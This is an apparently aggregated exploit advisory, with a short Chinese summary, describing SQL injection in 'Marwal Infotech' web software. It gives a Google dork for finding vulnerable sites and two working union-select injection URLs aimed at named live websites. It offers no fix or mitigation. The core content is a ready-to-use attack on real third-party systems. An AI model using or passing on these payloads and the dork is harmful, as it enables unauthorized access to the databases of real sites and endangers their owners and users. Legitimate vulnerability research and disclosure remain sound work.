Marwal Infotech软件存在SQL注入漏洞，攻击者可通过构造特定URL获取数据库信息。该漏洞影响多个网站，已提供PoC验证。 2025-5-8 19:15:55 Author: cxsecurity.com(查看原文) 阅读量:7 收藏
Marwal Infotech - Sql Injection********************************************************* #Exploit Title: Marwal Infotech - Sql Injection #Date: 2025-05-07 #Exploit Author: Behrouz Mansoori #Google Dork: "Powered by : Marwal Infotech" #Category:webapps #Tested On: Mac, Firefox Proof of Concept: ### Demo : https://www.gpsgotan.co.in/page.php?id=-61%20union%20select%2011111,version(),3333,4444,5555,6666,7777,8888,9999-- https://www.tagorettcollege.com/page.php?id=-23%20union%20select%2011111,version(),3333,4444,5555,6666,7777,8888,9999-- ********************************************************* #Discovered by: Behrouz mansoori #Instagram: Behrouz_mansoori #Email: [email protected] *********************************************************
Thanks for you comment!
|
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |
Copyright 2025, cxsecurity.com
如有侵权请联系:admin#unsafe.sh